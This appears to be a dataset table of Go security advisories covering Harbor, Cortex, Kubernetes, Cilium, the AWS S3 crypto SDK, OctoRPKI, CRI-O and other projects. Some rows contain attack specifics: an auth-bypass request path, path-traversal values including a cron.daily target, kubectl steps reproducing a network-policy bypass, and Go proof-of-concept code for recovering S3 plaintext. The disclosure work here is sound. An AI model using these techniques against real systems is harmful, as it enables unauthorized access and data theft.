ecosystem stringclasses 14 values | vuln_id stringlengths 10 19 | summary stringlengths 4 267 ⌀ | details stringlengths 9 13.5k | aliases stringlengths 17 144 ⌀ | modified_date stringdate 2010-05-27 05:47:00 2022-05-10 08:46:52 | published_date stringdate 2005-12-31 05:00:00 2022-05-10 08:46:50 | severity stringclasses 5 values | score float64 0 10 ⌀ | cwe_id stringclasses 988 values | refs stringlengths 30 17.7k ⌀ | introduced stringlengths 75 4.26k ⌀ |
|---|---|---|---|---|---|---|---|---|---|---|---|
Go | GHSA-xhqq-x44f-9fgg | Authentication Bypass in github.com/russellhaering/gosaml2 | ### Impact
Given a valid SAML Response, it may be possible for an attacker to mutate the XML document in such a way that gosaml2 will trust a different portion of the document than was signed.
Depending on the implementation of the Service Provider this enables a variety of attacks, including users accessing accounts other than the one to which they authenticated in the Identity Provider, or full authentication bypass.
### Patches
Service Providers utilizing gosaml2 should upgrade to v0.6.0 or greater. | {'CVE-2020-29509'} | 2021-05-21T21:11:37Z | 2022-02-11T23:58:09Z | CRITICAL | null | {'CWE-115'} | {'https://nvd.nist.gov/vuln/detail/CVE-2020-29509', 'https://github.com/russellhaering/gosaml2/security/advisories/GHSA-xhqq-x44f-9fgg', 'https://security.netapp.com/advisory/ntap-20210129-0006/', 'https://github.com/mattermost/xml-roundtrip-validator/blob/master/advisories/unstable-attributes.md'} | null |
Go | GHSA-qq5v-f4c3-395c | Possible XSS when using SSO with the CLI in github.com/argoproj/argo-cd/v2 | ### Impact
When using SSO with the Argo CD CLI, a malicious SSO provider could have sent specially crafted error message that would result in XSS on the client by means of executing arbitrary JavaScript code.
We believe the exploitation of this vulnerability is only be possible when Argo CD is connected to a compromised/malicious SSO provider.
### Patches
A patch for this vulnerability is available with the v1.8.7 and v1.7.14 releases of Argo CD.
### Workarounds
* Do not use SSO with the CLI when you don't trust your SSO provider
If you have any questions or comments about this advisory:
* Open an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions)
* Join us on [Slack](https://argoproj.github.io/community/join-slack) in channel `#argo-cd`
### Credits
The issue was found during static code scanning with CodeQL and fixed by the Argo CD team. While we believed that a rogue SSO provider would pose a severe threat by itself, we fixed it like a regular bug.
The Argo CD team would like to thank Adam Gold of Snyk (https://snyk.io) for stepping up and classifying this correctly as a security issue and for his help in determining its severity. Also, Snyk kindly reserved and provided the CVE for this vulnerability.
We fully agree with Adam that this bug is a security vulnerability and justifies publishing a SA, to provide our community and users full transparancy. | {'CVE-2021-23347'} | 2021-05-21T14:15:41Z | 2021-05-21T14:31:41Z | MODERATE | null | {'CWE-79'} | {'https://github.com/argoproj/argo-cd/security/advisories/GHSA-qq5v-f4c3-395c'} | null |
Go | GHSA-38r5-34mr-mvm7 | "catalog's registry v2 api exposed on unauthenticated path in Harbor" | ### **Impact**
Javier Provecho, member of the TCCT (Telefonica Cloud & Cybersecurity Tech better known as ElevenPaths) SRE team discovered a vulnerability regarding Harbor’s v2 API.
The catalog’s registry v2 api is exposed on an unauthenticated path. The current catalog API path is served at the following path and it requires to be authenticated as an admin.
"GET /v2/_catalog"
However, the authorization can be bypassed by using the following path
"GET /v2/_catalog/"
### **Patches**
If your product uses the affected releases of Harbor, update to either version v2.1.2 or v2.0.5 to fix this issue immediately
https://github.com/goharbor/harbor/releases/tag/v2.1.2
https://github.com/goharbor/harbor/releases/tag/v2.0.5
### **Workarounds**
If you cannot access a patched release, it can be mitigated by disabling that API. For example, redirecting it to a 404 sink hole in the ingress.
### **For more information**
If you have any questions or comments about this advisory, contact cncf-harbor-security@lists.cncf.io
View our security policy at https://github.com/goharbor/harbor/security/policy
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-29662 | {'CVE-2020-29662'} | 2022-02-12T00:01:51Z | 2022-02-12T00:01:51Z | MODERATE | null | {'CWE-319', 'CWE-287'} | {'https://github.com/goharbor/harbor/releases/tag/v2.1.2', 'https://github.com/goharbor/harbor/releases/tag/v2.0.5', 'https://github.com/goharbor/harbor/pull/13676', 'https://github.com/goharbor/harbor/security/advisories/GHSA-38r5-34mr-mvm7', 'https://nvd.nist.gov/vuln/detail/CVE-2020-29662', 'https://github.com/goharbor/harbor/commit/c7c409a8e5a8b3fd42841dda84759c9d77977853', 'https://github.com/goharbor/harbor/commit/3481722f140e1fdf6e6d290b0cd5c86e509feed4'} | null |
Go | GHSA-jphm-g89m-v42p | Path traversal in Grafana Cortex | An issue was discovered in Grafana Cortex through 1.9.0. The header value X-Scope-OrgID is used to construct file paths for rules files, and if crafted to conduct directory traversal such as ae ../../sensitive/path/in/deployment pathname, then Cortex will attempt to parse a rules file at that location and include some of the contents in the error message. (Other Cortex API requests can also be sent a malicious OrgID header, e.g., tricking the ingester into writing metrics to a different location, but the effect is nuisance rather than information disclosure.) | {'CVE-2021-36157'} | 2021-08-30T23:21:48Z | 2021-09-02T21:59:50Z | MODERATE | null | {'CWE-22'} | {'https://github.com/cortexproject/cortex', 'https://nvd.nist.gov/vuln/detail/CVE-2021-36157', 'https://grafana.com/docs/grafana/latest/release-notes/', 'https://github.com/cortexproject/cortex/pull/4375', 'https://github.com/cortexproject/cortex/commit/d9e1f81f40c607b9e97c2fc6db70ae54679917c4'} | null |
Go | GHSA-qr2j-wrhx-4829 | Improper Input Validation | In Go Ethereum (aka geth) before 1.8.14, TraceChain in eth/api_tracer.go does not verify that the end block is after the start block. | {'CVE-2018-16733'} | 2021-05-12T18:10:24Z | 2021-05-18T18:38:06Z | MODERATE | null | {'CWE-20'} | {'https://nvd.nist.gov/vuln/detail/CVE-2018-16733', 'https://github.com/ethereum/go-ethereum/commit/106d196ec4a6451efedc60ab15957f231fa85639'} | null |
Go | GHSA-85p9-j7c9-v4gr | Insufficiently Protected Credentials | The containers/image library used by the container tools Podman, Buildah, and Skopeo in Red Hat Enterprise Linux version 8 and CRI-O in OpenShift Container Platform, does not enforce TLS connections to the container registry authorization service. An attacker could use this vulnerability to launch a MiTM attack and steal login credentials or bearer tokens. | {'CVE-2019-10214'} | 2021-10-29T14:14:15Z | 2022-02-15T01:57:18Z | MODERATE | null | {'CWE-522'} | {'https://bugzilla.redhat.com/show_bug.cgi?id=1732508', 'https://github.com/containers/image/pull/655', 'http://lists.opensuse.org/opensuse-security-announce/2020-03/msg00035.html', 'http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00041.html', 'https://nvd.nist.gov/vuln/detail/CVE-2019-10214', 'https://github.com/containers/image/pull/669', 'https://github.com/containers/image', 'https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-10214'} | null |
Go | GHSA-fx8w-mjvm-hvpc | Path Traversal in Buildah | A path traversal flaw was found in Buildah in versions before 1.14.5. This flaw allows an attacker to trick a user into building a malicious container image hosted on an HTTP(s) server and then write files to the user's system anywhere that the user has permissions. | {'CVE-2020-10696'} | 2021-05-07T17:31:16Z | 2021-05-18T18:32:41Z | HIGH | null | {'CWE-22'} | {'https://access.redhat.com/security/cve/cve-2020-10696', 'https://nvd.nist.gov/vuln/detail/CVE-2020-10696', 'https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-10696', 'https://bugzilla.redhat.com/show_bug.cgi?id=1817651', 'https://github.com/containers/buildah/pull/2245'} | null |
Go | GHSA-m898-h4pm-pqfr | Arbitrary code execution due to an uncontrolled search path for the git binary | ### Impact
The go language recently addressed a security issue in the way that binaries are found before being executed. Some operating systems like Windows persist to have the current directory being part of the default search path, and having priority over the system-wide path.
This means that it's possible for a malicious user to craft for example a `git.bat` command, commit it and push it in a repository. Later when git-bug search for the git binary, this malicious executable can take priority and be executed.
### Who is impacted
This issue happen on Windows and some other operating systems with a badly configured PATH.
All version prior to 0.7.2 are vulnerable to this issue.
### Patches
Version 0.7.2 fix this issue. Users should update as soon as possible.
### References
More details about this issue can be found [here](https://blog.golang.org/path-security). | {'CVE-2021-28955'} | 2021-05-21T21:22:50Z | 2021-05-25T18:44:09Z | HIGH | null | {'CWE-427'} | {'https://nvd.nist.gov/vuln/detail/CVE-2021-28955', 'https://vuln.ryotak.me/advisories/18', 'https://github.com/MichaelMure/git-bug/security/advisories/GHSA-m898-h4pm-pqfr', 'https://github.com/MichaelMure/git-bug/pull/604'} | null |
Go | GO-2021-0064 | null | Authorization tokens may be inappropriately logged if the verbosity
level is set to a debug level.
| {'CVE-2020-8565'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/kubernetes/kubernetes/commit/e99df0e5a75eb6e86123b56d53e9b7ca0fd00419', 'https://github.com/kubernetes/kubernetes/issues/95623', 'https://github.com/kubernetes/kubernetes/pull/95316'} | null |
Go | GHSA-h746-rm5q-8mgq | Legacy Node API Allows Impersonation in github.com/spiffe/spire/pkg/server/endpoints/node | #### Summary
In SPIRE 0.8.1 through 0.8.4 and before versions 0.9.4, 0.10.2, 0.11.3 and 0.12.1, specially crafted requests to the FetchX509SVID RPC of SPIRE Server’s Legacy Node API can result in the possible issuance of an X.509 certificate with a URI SAN for a SPIFFE ID that the agent is not authorized to distribute. Proper controls are in place to require that the caller presents a valid agent certificate that is already authorized to issue at least one SPIFFE ID, and the requested SPIFFE ID belongs to the same trust domain, prior to being able to trigger this vulnerability. This issue has been fixed in SPIRE versions 0.8.5, 0.9.4, 0.10.2, 0.11.3 and 0.12.1.
#### What are the changes introduced by the patched versions?
The changes introduced to address this issue are related to enforcing that the FetchX509SVID RPC of SPIRE Server’s Legacy Node API only issues X.509 certificates with SPIFFE IDs that the agent is authorized to distribute.
The patched version also includes a back-ported change that improves the handling of file descriptors related to workload attestation in SPIRE Agent.
There are no changes in the expected behavior of SPIRE.
#### Should I upgrade SPIRE?
All SPIRE users running affected versions are advised to upgrade to the corresponding patched version.
#### Workarounds
No workarounds have been identified for this vulnerability. | {'CVE-2021-27098'} | 2021-05-21T14:28:38Z | 2021-05-21T14:31:11Z | HIGH | null | {'CWE-295', 'CWE-284'} | {'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27098', 'https://github.com/spiffe/spire/commit/3c5115b57afc20a0a2c2b1b9dd60dd1fd9082e13', 'https://github.com/spiffe/spire/security/advisories/GHSA-h746-rm5q-8mgq', 'https://nvd.nist.gov/vuln/detail/CVE-2021-27098'} | null |
Go | GHSA-x462-89pf-6r5h | Crash due to malformed relay protocol message | ### Impact
1. `syncthing` can be caused to crash and exit if sent a malformed relay
protocol message message with a negative length field.
2. The relay server `strelaysrv` can be caused to crash and exit if sent
a malformed relay protocol message with a negative length field.
At no point is sensitive data exposed or liable to be altered due to this
issue. Sensitive data is never exposed to relay operators. Syncthing itself
would need to be lured to connect to a malicious relay server in order to
exploit the issue.
### Patches
Fixed in version 1.15.0.
### Workarounds
1. No known workaround for `strelaysrv`.
2. `syncthing` can be configured to not use relays, or to only use specific,
trusted relays. If Syncthing is used in a closed environment or with
relaying disabled, i.e., it does not communicate with unknown relays,
Syncthing is not vulnerable.
### For more information
If you have any questions or comments about this advisory, please discuss it [on the forum](https://forum.syncthing.net/).
Thanks to Wojciech Paciorek for discovering and reporting this issue. | {'CVE-2021-21404'} | 2021-05-20T20:52:26Z | 2021-05-21T16:23:17Z | LOW | null | {'CWE-20'} | {'https://pkg.go.dev/github.com/syncthing/syncthing', 'https://github.com/syncthing/syncthing/commit/fb4fdaf4c0a79c22cad000c42ac1394e3ccb6a97', 'https://github.com/syncthing/syncthing/security/advisories/GHSA-x462-89pf-6r5h', 'https://github.com/syncthing/syncthing/releases/tag/v1.15.0', 'https://nvd.nist.gov/vuln/detail/CVE-2021-21404'} | null |
Go | GHSA-qh36-44jv-c8xj | Potential proxy IP restriction bypass in Kubernetes | As mitigations to a report from 2019 and CVE-2020-8555, Kubernetes attempts to prevent proxied connections from accessing link-local or localhost networks when making user-driven connections to Services, Pods, Nodes, or StorageClass service providers. As part of this mitigation Kubernetes does a DNS name resolution check and validates that response IPs are not in the link-local (169.254.0.0/16) or localhost (127.0.0.0/8) range. Kubernetes then performs a second DNS resolution without validation for the actual connection. If a non-standard DNS server returns different non-cached responses, a user may be able to bypass the proxy IP restriction and access private networks on the control plane. | {'CVE-2020-8562'} | 2022-03-30T21:11:43Z | 2022-02-02T00:01:58Z | LOW | null | {'CWE-367'} | {'https://security.netapp.com/advisory/ntap-20220225-0002/', 'https://nvd.nist.gov/vuln/detail/CVE-2020-8562', 'https://github.com/kubernetes/kubernetes', 'https://github.com/kubernetes/kubernetes/issues/101493', 'https://groups.google.com/g/kubernetes-security-announce/c/-MFX60_wdOY'} | null |
Go | GHSA-vrcc-g6vj-mh5w | Denial of service in go-ethereum | Go-Ethereum v1.10.9 was discovered to contain an issue which allows attackers to cause a denial of service (DoS) via sending an excessive amount of messages to a node. This is caused by missing memory in the component /ethash/algorithm.go. | {'CVE-2021-42219'} | 2022-03-30T20:05:12Z | 2022-03-18T00:01:13Z | HIGH | null | {'CWE-400'} | {'https://nvd.nist.gov/vuln/detail/CVE-2021-42219', 'https://docs.google.com/document/d/1dYFSpNZPC0OV-n1mMqdc269u9yYU1XQy/edit?usp=sharing&ouid=112110745137218798745&rtpof=true&sd=true'} | null |
Go | GHSA-3x58-xr87-2fcj | Cross-site scripting in bluemonday | bluemonday before 1.0.5 allows XSS because certain Go lowercasing converts an uppercase Cyrillic character, defeating a protection mechanism against the "script" string. | {'CVE-2021-29272'} | 2021-05-18T21:05:51Z | 2021-05-18T21:07:37Z | MODERATE | null | {'CWE-79'} | {'https://vuln.ryotak.me/advisories/4.txt', 'https://vuln.ryotak.me/advisories/4', 'https://github.com/microcosm-cc/bluemonday/commit/524f142fe46e945b7dcd291d7805c4b7dcf75bee', 'https://nvd.nist.gov/vuln/detail/CVE-2021-29272', 'https://github.com/microcosm-cc/bluemonday/issues/111', 'https://github.com/microcosm-cc/bluemonday/releases/tag/v1.0.5'} | null |
Go | GHSA-c66w-hq56-4q97 | Network policy may be bypassed by some ICMP Echo Requests | ## Impact
Under certain conditions, ICMP Echo Request sent to a Cilium endpoint from an actor may bypass a network policy which _disallows_ access from the actor to the endpoint, but _allows_ from the endpoint to the actor. This does _NOT_ apply to UDP and TCP traffic.
The actor is either a pod or a cluster host or a remote host.
The following conditions must be met:
1. Network policies have been created which:
a) do not allow access from the actor to the endpoint;
b) allow access from the endpoint to the actor and does not specify neither protocol nor port.
2. The endpoint has sent ICMP Echo Request to the actor with the ICMP identifier X.
3. The actor sends ICMP Echo Request to the endpoint with the same ICMP identifier X.
4. The request from the actor (3.) is sent before the Cilium's conntrack GC has removed the previously created conntrack entry (2.).
## Detailed description
See https://github.com/cilium/cilium/commit/dfb008a9099c4da1e0fd964c899c43ee13280b0e (v1.9.x), https://github.com/cilium/cilium/commit/ff6ebae6efca1bd991302b464dea428512823e79 (v1.8.x), https://github.com/cilium/cilium/commit/472bbeff75161979c317ab21d563f826291b5f37 (v1.7.x).
## Example
```
$ kubectl run server --image=quay.io/cilium/net-test:v1.0.0 --restart=Never -- sleep 3600
$ kubectl run client --image=quay.io/cilium/net-test:v1.0.0 --restart=Never -- sleep 3600
$ cat <<EOF | kubectl apply -f
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: server-netpol # allow client->server
spec:
podSelector:
matchLabels:
run: server
ingress:
- from:
- podSelector:
matchLabels:
run: client
policyTypes:
- Ingress
---
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: client-netpol # deny any->client
spec:
podSelector:
matchLabels:
run: client
policyTypes:
- Ingress
EOF
$ kubectl exec -ti server -- xping -c1 -x666 $CLIENT_POD_IP
PING 10.154.0.50 (10.154.0.50): 56 data bytes
^C
--- 10.154.0.50 ping statistics ---
1 packets transmitted, 0 packets received, 100% packet loss <--- "client-netpol" policy denied
command terminated with exit code 1
$ kubectl exec -ti client -- xping -c1 -x666 $SERVER_POD_IP
PING 10.154.1.16 (10.154.1.16): 56 data bytes
64 bytes from 10.154.1.16: seq=0 ttl=60 time=0.822 ms
--- 10.154.1.16 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss <--- "server-netpol" policy allowed
round-trip min/avg/max = 0.822/0.822/0.822 ms
$ kubectl exec -ti server -- xping -c1 -x666 $CLIENT_POD_IP
PING 10.154.0.50 (10.154.0.50): 56 data bytes
64 bytes from 10.154.0.50: seq=0 ttl=60 time=0.527 ms
--- 10.154.0.50 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss <--- "client-netpol" policy bypassed
round-trip min/avg/max = 0.527/0.527/0.527 ms
```
## For more information
If you have any questions or comments about this advisory:
- Open an issue in [Cilium Issues](https://github.com/cilium/cilium/issues)
- Email us at security@cilium.io | null | 2021-05-21T14:09:14Z | 2021-05-21T14:32:37Z | LOW | null | null | {'https://github.com/cilium/cilium/security/advisories/GHSA-c66w-hq56-4q97'} | null |
Go | GO-2021-0101 | null | Due to an improper bounds check, parsing maliciously crafted messages can cause panics. If
this package is used to parse untrusted input, this may be used as a vector for a denial of
service attack.
| {'CVE-2019-0210'} | 2021-07-28T12:00:00Z | 2021-07-28T12:00:00Z | null | null | null | {'https://github.com/advisories/GHSA-jq7p-26h5-w78r', 'https://github.com/apache/thrift/commit/264a3f318ed3e9e51573f67f963c8509786bcec2'} | null |
Go | GHSA-h5rh-w6vm-9ghc | Denial of service in Grafana | The snapshot feature in Grafana before 7.4.2 can allow an unauthenticated remote attackers to trigger a Denial of Service via a remote API call if a commonly used configuration is set. | {'CVE-2021-27358'} | 2021-05-14T17:47:34Z | 2022-02-15T01:57:18Z | HIGH | null | {'CWE-400', 'CWE-306'} | {'https://grafana.com/docs/grafana/latest/release-notes/release-notes-7-4-2/', 'https://github.com/grafana/grafana/blob/master/CHANGELOG.md#742-2021-02-17', 'https://github.com/grafana/grafana/pull/31263', 'https://github.com/grafana/grafana/blob/master/CHANGELOG.md', 'https://nvd.nist.gov/vuln/detail/CVE-2021-27358', 'https://security.netapp.com/advisory/ntap-20210513-0007/'} | null |
Go | GO-2021-0052 | null | Due to improper HTTP header santization, a malicious user can spoof their
source IP address by setting the X-Forwarded-For header. This may allow
a user to bypass IP based restrictions, or obfuscate their true source.
| {'CVE-2020-28483'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/gin-gonic/gin/pull/2632', 'https://github.com/gin-gonic/gin/pull/2474', 'https://github.com/gin-gonic/gin/commit/bfc8ca285eb46dad60e037d57c545cd260636711'} | null |
Go | GHSA-w6ww-fmfx-2x22 | Misconfigured IP address field in ROA leads to OctoRPKI crash | If the ROA that a repository returns contains too many bits for the IP address then OctoRPKI will crash.
## Patches
## For more information
If you have any questions or comments about this advisory email us at security@cloudflare.com
| {'CVE-2021-3911'} | 2021-11-10T18:14:59Z | 2021-11-10T19:56:04Z | MODERATE | null | {'CWE-20', 'CWE-252'} | {'https://www.debian.org/security/2022/dsa-5041', 'https://github.com/cloudflare/cfrpki', 'https://nvd.nist.gov/vuln/detail/CVE-2021-3911', 'https://github.com/cloudflare/cfrpki/security/advisories/GHSA-w6ww-fmfx-2x22'} | null |
Go | GHSA-g95p-88p4-76cm | Cross-site Scripting in Gitea | Gitea 1.12.x and 1.13.x before 1.13.4 allows XSS via certain issue data in some situations. | {'CVE-2021-28378'} | 2021-09-27T19:23:33Z | 2021-09-27T20:17:39Z | MODERATE | null | {'CWE-79'} | {'https://github.com/PandatiX/CVE-2021-28378', 'https://blog.gitea.io/2021/03/gitea-1.13.4-is-released/', 'https://github.com/go-gitea/gitea/pull/14898', 'https://nvd.nist.gov/vuln/detail/CVE-2021-28378', 'https://github.com/go-gitea/gitea/pull/14899', 'https://github.com/go-gitea/gitea'} | null |
Go | GHSA-xx8c-m748-xr4j | Access Restriction Bypass in kubernetes | The API server in Kubernetes does not properly check admission control, which allows remote authenticated users to access additional resources via a crafted patched object. | {'CVE-2016-1905'} | 2021-05-07T20:51:03Z | 2022-02-15T01:57:18Z | MODERATE | null | {'CWE-284'} | {'https://github.com/kubernetes/kubernetes/issues/19479', 'https://access.redhat.com/errata/RHSA-2016:0070', 'https://nvd.nist.gov/vuln/detail/CVE-2016-1905', 'https://github.com/kubernetes/kubernetes/commit/9e6912384a5bc714f2a780b870944a8cee264a22'} | null |
Go | GO-2020-0019 | null | An attacker can craft malicious WebSocket frames that cause an integer
overflow in a variable which tracks the number of bytes remaining. This
may cause the server or client to get stuck attempting to read frames
in a loop, which can be used as a denial of service vector.
| {'CVE-2020-27813'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/gorilla/websocket/commit/5b740c29263eb386f33f265561c8262522f19d37', 'https://github.com/gorilla/websocket/pull/537'} | null |
Go | GHSA-27pv-q55r-222g | Path traversal in github.com/ipfs/go-ipfs | ### Impact
It is currently possible for path traversal to occur with DAGs containing relative paths during retrieval. This can cause files to be overwritten, or written to incorrect output directories. The issue can only occur when `ipfs get` is done on an affected DAG.
1. The only affected command is `ipfs get`.
2. The gateway is not affected.
### Patches
Traversal fix patched in https://github.com/whyrusleeping/tar-utils/commit/20a61371de5b51380bbdb0c7935b30b0625ac227
`tar-utils` patch applied to go-ipfs via https://github.com/ipfs/go-ipfs/commit/b7ddba7fe47dee5b1760b8ffe897908417e577b2
### Workarounds
Upgrade to go-ipfs 0.8 or later.
### References
Binaries for the patched versions of go-ipfs are available on the IPFS distributions site, https://dist.ipfs.io/go-ipfs
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [go-ipfs](https://github.com/ipfs/go-ipfs)
* Email us at [security@ipfs.io](mailto:security@ipfs.io) | {'CVE-2020-26279'} | 2021-05-21T18:31:52Z | 2021-06-23T17:27:44Z | HIGH | null | {'CWE-22'} | {'https://github.com/ipfs/go-ipfs/commit/b7ddba7fe47dee5b1760b8ffe897908417e577b2', 'https://github.com/whyrusleeping/tar-utils/commit/20a61371de5b51380bbdb0c7935b30b0625ac227', 'https://nvd.nist.gov/vuln/detail/CVE-2020-26279', 'https://github.com/ipfs/go-ipfs/security/advisories/GHSA-27pv-q55r-222g'} | null |
Go | GHSA-76wf-9vgp-pj7w | Unencrypted md5 plaintext hash in metadata in AWS S3 Crypto SDK for golang | ### Summary
The golang AWS S3 Crypto SDK was impacted by an issue that can result in loss of confidentiality. An attacker with read access to an encrypted S3 bucket was able to recover the plaintext without accessing the encryption key.
### Risk/Severity
The vulnerability poses insider risks/privilege escalation risks, circumventing KMS controls for stored data.
### Impact
The issue has been fully mitigated by AWS as of Aug. 5th by disallowing the header in question.
The S3 crypto library tries to store an unencrypted hash of the plaintext alongside the ciphertext as a metadata field. This hash can be used to brute force the plaintext in an offline attack, if the hash is readable to the attacker. In order to be impacted by this issue, the attacker has to be able to guess the plaintext as a whole. The attack is theoretically valid if the plaintext entropy is below the key size, i.e. if it is easier to brute force the plaintext instead of the key itself, but practically feasible only for short plaintexts or plaintexts otherwise accessible to the attacker in order to create a rainbow table.
The issue has been fixed server-side by AWS as of Aug 5th, by blocking the related metadata field. No S3 objects are affected anymore.
### Mitigation
The header in question is no longer served by AWS, making this attack fully mitigated as of Aug. 5th.
### Proof of concept
A [Proof of concept](https://github.com/sophieschmieg/exploits/tree/master/aws_s3_crypto_poc) is available in a separate github repository, this particular issue can be found at [here](https://github.com/sophieschmieg/exploits/blob/master/aws_s3_crypto_poc/exploit/hash_exploit.go):
```golang
func HashExploit(bucket string, key string, input *OfflineAttackInput) (string, error) {
_, header, err := input.S3Mock.GetObjectDirect(bucket, key)
length, err := strconv.Atoi(header.Get("X-Amz-Meta-X-Amz-Unencrypted-Content-Length"))
plaintextMd5 := header.Get("X-Amz-Meta-X-Amz-Unencrypted-Content-Md5")
blocks := length / 16
possiblePlaintextNum := 1
segNum := len(input.PossiblePlaintextSegments)
for i := 0; i < blocks; i++ {
possiblePlaintextNum *= segNum
}
for i := 0; i < possiblePlaintextNum; i++ {
w := i
guess := ""
for j := 0; j < blocks; j++ {
guess += input.PossiblePlaintextSegments[w%segNum]
w /= segNum
}
guessMd5 := md5.Sum([]byte(guess))
if plaintextMd5 == base64.StdEncoding.EncodeToString(guessMd5[:]) {
return guess, nil
}
}
return "", fmt.Errorf("No plaintext found!")
}
```
The PoC will only work on old versions of the library, as the hash has been removed from being calculated as well. | null | 2022-02-11T23:26:12Z | 2022-02-11T23:26:12Z | MODERATE | null | null | {'https://github.com/google/security-research/security/advisories/GHSA-76wf-9vgp-pj7w'} | null |
Go | GO-2021-0091 | null | Due to improper input validation when uploading a file, a malicious user may
force the server to return arbitary HTTP headers when the uploaded file
is downloaded.
| {'CVE-2020-15111'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'github.com/gofiber/fiber/pull/579', 'https://github.com/gofiber/fiber/security/advisories/GHSA-9cx9-x2gp-9qvh', 'https://github.com/gofiber/fiber/commit/a8ad5454363f627c3f9469c56c5faaf1b943f06a'} | null |
Go | GHSA-5684-g483-2249 | Signature Validation Bypass | ### Impact
Given a valid SAML Response, an attacker can potentially modify the document, bypassing signature validation in order to pass off the altered document as a signed one.
This enables a variety of attacks, including users accessing accounts other than the one to which they authenticated in the identity provider, or full authentication bypass if an external attacker can obtain an expired, signed SAML Response.
### Patches
A patch is available, users of gosaml2 should upgrade to v0.5.0 or higher.
### References
See the [underlying advisory on goxmldsig](https://github.com/russellhaering/goxmldsig/security/advisories/GHSA-q547-gmf8-8jr7) for more details. | null | 2021-10-05T17:07:09Z | 2021-05-24T16:59:47Z | CRITICAL | null | {'CWE-347'} | {'https://github.com/russellhaering/gosaml2', 'https://github.com/russellhaering/gosaml2/security/advisories/GHSA-5684-g483-2249'} | null |
Go | GHSA-cqh2-vc2f-q4fh | Arbitrary filepath traversal via URI injection | OctoRPKI does not escape a URI with a filename containing "..", this allows a repository to create a file, (ex. `rsync://example.org/repo/../../etc/cron.daily/evil.roa`), which would then be written to disk outside the base cache folder. This could allow for remote code execution on the host machine OctoRPKI is running on.
## Patches
## For more information
If you have any questions or comments about this advisory email us at security@cloudflare.com
| {'CVE-2021-3907'} | 2021-11-10T18:16:54Z | 2021-11-10T20:08:29Z | HIGH | null | {'CWE-20', 'CWE-22'} | {'https://github.com/cloudflare/cfrpki/security/advisories/GHSA-cqh2-vc2f-q4fh', 'https://github.com/cloudflare/cfrpki', 'https://www.debian.org/security/2022/dsa-5041', 'https://nvd.nist.gov/vuln/detail/CVE-2021-3907', 'https://www.debian.org/security/2021/dsa-5033'} | null |
Go | GO-2020-0035 | null | Due to improper path santization, archives containing relative file
paths can cause files to be written (or overwritten) outside of the
target directory.
| null | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://snyk.io/research/zip-slip-vulnerability', 'https://github.com/yi-ge/unzip/commit/2adbaa4891b9690853ef10216189189f5ad7dc73', 'https://github.com/yi-ge/unzip/pull/1'} | null |
Go | GHSA-jrpg-35hw-m4p9 | Capture-replay in Gitea | Gitea is a project to help users set up a self-hosted Git service. Gitea before 1.11.2 is affected by Trusting HTTP Permission Methods on the Server Side when referencing the vulnerable admin or user API. This could allow a remote malicious user to execute arbitrary code. | {'CVE-2021-45327'} | 2022-02-14T23:01:26Z | 2022-02-09T00:00:29Z | CRITICAL | null | {'CWE-294'} | {'https://nvd.nist.gov/vuln/detail/CVE-2021-45327', 'https://github.com/go-gitea/gitea/pull/10582', 'https://github.com/go-gitea/gitea/pull/10462', 'https://github.com/go-gitea/gitea/pull/10465', 'https://github.com/go-gitea/gitea', 'https://blog.gitea.io/2020/03/gitea-1.11.2-is-released/'} | null |
Go | GHSA-vmp5-c5hp-6c65 | Woodpecker allows cross-site scripting (XSS) via build logs | Woodpecker before 0.15.1 allows XSS via build logs because web/src/components/repo/build/BuildLog.vue lacks escaping. | {'CVE-2022-29947'} | 2022-05-03T20:18:08Z | 2022-04-30T00:00:33Z | MODERATE | null | {'CWE-79'} | {'https://nvd.nist.gov/vuln/detail/CVE-2022-29947', 'https://github.com/woodpecker-ci/woodpecker/', 'https://github.com/woodpecker-ci/woodpecker/pull/879', 'https://github.com/woodpecker-ci/woodpecker/releases/tag/v0.15.1'} | null |
Go | GHSA-w2j5-3rcx-vx7x | Sysctls applied to containers with host IPC or host network namespaces can affect the host | ### Impact
Before setting the sysctls for a pod, the pods namespaces must be unshared (created). However, in cases where the pod is using a host network or IPC namespace, a bug in CRI-O caused the namespace creating tool [pinns](https://github.com/cri-o/cri-o/tree/main/pinns/) to configure the sysctls of the host. This allows a malicious user to set sysctls on the host, assuming they have access to hostNetwork and hostIPC.
Any CRI-O cluster after CRI-O 1.18 that drops the infra container
1.22 and 1.23 clusters drop infra container by default, and are thus vulnerable by default.
### Patches
CRI-O versions 1.24.0, 1.23.1, 1.22.2, 1.21.5, 1.20.6, 1.19.5 all have the patches.
### Workarounds
Users can set `manage_ns_lifecycle` to false, which causes the sysctls to be configured by the OCI runtime, which typically filter these cases. This option is available in 1.20 and 1.19. Newer versions don't have this option.
An admission webhook could also be created to deny pods that use host IPC or network namespaces and also attempt to configure sysctls related to that namespace.
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [the CRI-O repo](http://github.com/cri-o/cri-o/issues)
* To make a report, email your vulnerability to the private
[cncf-crio-security@lists.cncf.io](mailto:cncf-crio-security@lists.cncf.io) list
with the security details and the details expected for [all CRI-O bug
reports](https://github.com/cri-o/cri-o/blob/main/.github/ISSUE_TEMPLATE/bug-report.yml). | null | 2022-03-15T20:02:54Z | 2022-03-15T20:02:54Z | MODERATE | null | null | {'https://github.com/cri-o/cri-o', 'https://github.com/cri-o/cri-o/security/advisories/GHSA-w2j5-3rcx-vx7x'} | null |
